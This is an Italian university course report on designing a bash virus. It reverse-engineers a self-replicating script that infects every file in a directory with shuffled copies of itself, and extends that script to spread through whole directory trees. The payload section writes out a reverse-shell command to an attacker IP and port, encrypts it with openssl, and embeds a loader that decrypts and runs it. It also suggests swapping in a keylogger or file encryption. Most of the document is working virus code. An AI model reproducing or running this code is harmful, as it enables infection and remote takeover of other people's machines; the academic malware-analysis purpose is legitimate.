**Università degli Studi di Verona**

FACOLTÀ DI SCIENZE MATEMATICHE, FISICHE E NATURALI
Corso di Laurea Magistrale in Informatica

Progetto corso Malware

# Malware Design

Candidati:
**Giovanni Bellorio**
**Matricola VR419955**

**Kevin Costa**
**Matricola VR424301**

**Alessandro Cosma**
**Matricola VR420117**

**Anno Accademico 2017-2018**

# INDICE

# 1

# REVERSE ENGINEERING

## 1.1 SPIEGAZIONE

Il virus infetta tutti i file di una certa dimensione, definita dal numero di righe, copiandosi riga per riga in ordire randomico ogni volta che viene lanciato. Di seguito viene riportato il codice commentato in ogni sua parte.

## 1.2 CODICE

```
1 if [ "$1" == "test" ]; then #@1
2   exit 0 #@2
3 fi #@3
```

#@1 - Se il primo parametro (da terminale) è "test" allora termina.

#@2 - con exit o perchè il file è già infettato.

```
1 MANAGER=(test cd ls pwd) #@4
2 RANDOM=$$ #@5
```

#@4 - Array di 4 elementi, usato come nomi di file temporanei.

#@5 - generatore numeri random usando il process ID di virus.

```
1 for target in *; do #@6
2   nbline=$(wc -l $target) #@7
3   nbline=${nbline##} #@8
4   nbline=$(echo $nbline | cut -d " " -f1) #@9
5   if [ $(($nbline)) -lt 39 ]; then #@10
6     continue #@11
7   fi #@12
8   NEWFILE=${MANAGER[$((RANDOM % 4))]} #@13
```

#@6 - Per ogni file nella directory:

#@7 - Conta il numero di righe del file target.

#@8 - Taglia la parte sinistra della stringa

#@9 - e recupare il numero di righe.

#@10 - Controlla se il file scelto ha meno righe del virus (39). Se è true continua con un altro file.

#@13 - Scelta random del nome del nuovo file tra quelli contenuti in MANAGER (sono 4).

```
for target in *; do #@6
  ....
  tail -n 36 $target | awk '{ print($NF" "$0) }' | cut -d"@" -f2
      - | sort -g | cut -d" " -f2- > /tmp/".$NEWFILE" #@14
```

#@14 - Prende le ultime 36 righe del file target e le ordina in base al numero dopo @. Ripristina il codice nell'ordine originale e scrive l'output in un file temporaneo nascosto. (nome scelto nella riga precedente).

```
for target in *; do #@6
  ....
  chmod +x /tmp/".$NEWFILE" && /tmp/".$NEWFILE" test 2> /dev/
      null; #@15
```

#@15 - Fornisce a /tmp/."$NEWFILE" i permessi di esecuzione ed esegue il reindirizzamento di stderr a /dev/null

```
for target in *; do #@6
  ....
  if [ "$?" == "0" ]; then #@16
    continue #@17
  fi #@18
  NEWFILE=${MANAGER[$((RANDOM % 4))]} #@19
  NEWFILE="/tmp/.$NEWFILE" #@20
```

#@16 - Controlla il codice di uscita dell'ultimo comando eseguito: se corrisponde al virus restituisce "0" (vedi le prime 3 righe) e continua, perché il file è già infetto.

#@19 - Scelta random del nome del nuovo file tra quelli contenuti in MANAGER (sono 4).

#@20 - Percorso del file appena creato.

```
for target in *; do #@6
  ....
  echo "tail -n 36 $0 | awk '{ print(\$NF\" \"\$0) }' | cut -d\"
      @\" -f2- | sort -g | cut -d\" \" -f2- > $NEWFILE" >>
      $target #@21
  echo "chmod +x $NEWFILE && $NEWFILE &" >> $target #@22
  echo "exit 0" >> $target #@23
```

#@21 - Aggiunge al file di destinazione le prossime 3 righe di codice che verranno eseguite quando verrà eseguito il file di destinazione: queste 3 righe ottengono le ultime 36 righe del target (il virus) e vengono eseguite in background. Ci sono tre righe per la fase di infezione, riordina le ultime 36 righe del file infetto e poi le esegue.

```
for target in *; do #@6
  ....
  tabft=("FT" [36]=" ") #@24
  declare -i nbl=0 #@25
```

#@24 - Crea un array di 37 elementi: il primo è "FT" e l'ultimo è " "

#@25 - Crea una variabile intera: nbl=0

```
for target in *; do #@6
  ....
  while [ $nbl -ne 36 ]; do #@26
    valindex=$(((RANDOM % 36)+1)) #@27
    while [ "${tabft[$valindex]}" == "FT" ]; do #@28
      valindex=$(((RANDOM % 36) + 1)) #@29
    done #@30
    line=$(tail -n $valindex $0 | head -1) #@31
    echo -e "$line" >> $target #@32
    nbl=$(($nbl+1)) && tabft[$valindex]="FT" #@33
  done #@34
done #@35
```

#@26 - while (nbl != 36)

#@27 - Genera un numero random tra 1 e 36

#@28 - scegli un nuovo numero per valindex, cioè una nuova riga da aggiungere

#@31 - Prende l'ultima (n meno valindex)-riga del virus

#@32 - Aggiunge la linea al file di destinazione

#@33 - Incrementa il contatore e segna la cella valindex di tabft come "fatta"

```
rm /tmp/.* 2> /dev/null #@36
```

#@36 - Elimina tutti i file temporanei nascosti

# 2

# TREE DIRECTORY

## 2.1 SPIEGAZIONE

Propagazione dello script bash virus su alberi di directory (contenenti file), a partire da una root. Tale codice visita tutti i file e le cartelle da una certa cartella radice. Il cammino viene passato al codice precedente sottoforma di lista che viene semplicemente scansionata. Su ogni file verrà avviato il procedimento precedente.

## 2.2 CODICE

```
tree=() #@4
visit(){ #@5
  directory=$1 #@6
  for target in $directory; do #@7
      if [ -d "$target" ];then #@8
        visit "$target/*" #@9
    else #@10
      tree+=("$target") #@11
      fi #@12
  done #@13
} #@14
visit "*" #@15
```

Nel codice originale modifico:

```
for target in *; do #@6
  nbline=$(wc -l $target) #@7
  ....
  ....
```

con:

```
for (( i=0; i<${tree[@]}; i++ )); do #@18
  target=${tree[i]} #@19
  nbline=$(wc -l $target) #@20
  ....
  ....
```

# 3 PAYLOAD

## 3.1 SPIEGAZIONE

Il nostro payload è la connessione remota dell'attaccante in ascolto da terminale su una determinata porta. Il terminale è raggiungibile tramite indirizzo ip statico. Per implementare il payload abbiamo codificato le istruzioni nel seguendo modo:

```
openssl enc -aes-128-cbc -a -salt -pass pass:asdffdsa -in da.sh
    -out a.sh
```

dove:

- enc = encoding with cipher, cifratura simmetrica Base64.
- -aes-128-cbc = codifica in aes con chiave 128 in Cipher Block Chaining.
- -a = codificato base64 dopo la crittografia.
- -salt = utilizza un "sale" nelle routine di derivazione della chiave. Un sale è una sequenza casuale di bit utilizzata assieme ad una password come input a una funzione unidirezionale, di solito una funzione hash, il cui output è conservato al posto della sola password, e può essere usato per autenticare gli utenti.
- - pass pass:password = password con cui si cripta, nel nostro esempio la password è: asdffdsa.

Nel file da.sh abbiamo l'istruzione in chiaro:

```
$(nohup bash -i &>/dev/null >& /dev/tcp/192.168.43.30/4444 0>&1)
    & >/dev/null
```

e nel file a.sh avremo il comando crittato:

```
U2FsdGVkX19X0wO4uZbrn4Xd+yFU+m/RbhadIUV1ATYkYNMmArzRIeq6qqJmLWjV
A55TkO/Al6S6lZpNuFPHeSMNIY6TsJa9YI4n5rgaKYkOH5x74Ck49dShpHGzBYT6
```

A questo punto abbiamo aggiunto tale comando crittato nel file virus.sh. L'attaccante sarà in ascolto sulla porta 4444 attraverso il comando:

```
nc -lvp 4444
```

In generale possiamo dire che il payload può essere modificato a piacere come per esempio l'avvio nascosto di un keylogger o la criptazione di tutti i file all'interno di un computer. I passi sono quelli scritti sopra. Occorre inventare il comando di attacco, lanciare la crittazione e inserire il codice nel virus.

## 3.2 CODICE

```
filename="$0"
key="asdffdsa"
payload=()
while read -r line; do
    row="$line"
    if [ "$row" == "# Start payload" ]; then
        while read -r line; do
                row="$line"
                if [ "$row" == "# End payload" ]; then
# Start payload
# U2FsdGVkX1/sR6BSVb24vkVlwoEd4fw9q0AJOjmDxWq8twhYprob33H09R3uZmtY
# aqzZDIg5lHHDJwdintAteYEiVG3+uMmEnoaIUBRm7oLjPa52jxQj7JeNLne6+W5r
# End payload
                        break
                fi
                row=$(echo "$row" | cut -d' ' -f 2)
                payload+=("$row")
        done
        fi
done < "$filename"

for (( i=0; i<${#payload[@]}; i++ )); do
        echo "${payload[i]}" >> xxxxxxxxxxencrypt.sh
done

echo "#!/bin/sh" >> xxxxxxxxxxdecrypt.sh
openssl enc -d -aes-128-cbc -a -salt -pass pass:$key -in xxxxxxxxxxencrypt.sh >> xxxxxxxxxxdecrypt.sh
chmod 777 xxxxxxxxxxdecrypt.sh
sh ./xxxxxxxxxxdecrypt.sh
rm xxxxxxxxxxencrypt.sh
rm xxxxxxxxxxdecrypt.sh
```

Come ultimo passo abbiamo inserito l'esecuzione del virus in un vero e proprio programma bash.

# 4 CONCLUSIONI

Si può notare come il nostro bash virus cerchi di prevenire l' over-infection andando a controllare che il file su cui viene eseguito non sia già stato infettato. (righe @1-@3 e @14-@18) del codice del nostro virus 1.2).

Così facendo però si determina una signature del virus, la cui struttura è data proprio dalla sua sintassi, ovvero la sequenza di istruzioni presenti nel codice del virus che hanno lo scopo di prevenire l'over-infection.

Allo scopo di evitare la presenza di signature, con l'obiettivo di essere stealth, è stato pensato il rimescolamento delle istruzioni del malware. É stato quindi creata una restoring function il cui compito è ordinare la sequenza di istruzioni in modo da dargli un senso per l'esecuzione. Tuttavia, la restoring function stessa diventa a sua volta la signature del nostro bash virus.

Si può osservare come l'essere stealth ed evitare l'over-infection sono due proprietà che difficilmente riescono a convivere serenamente all'interno di un virus.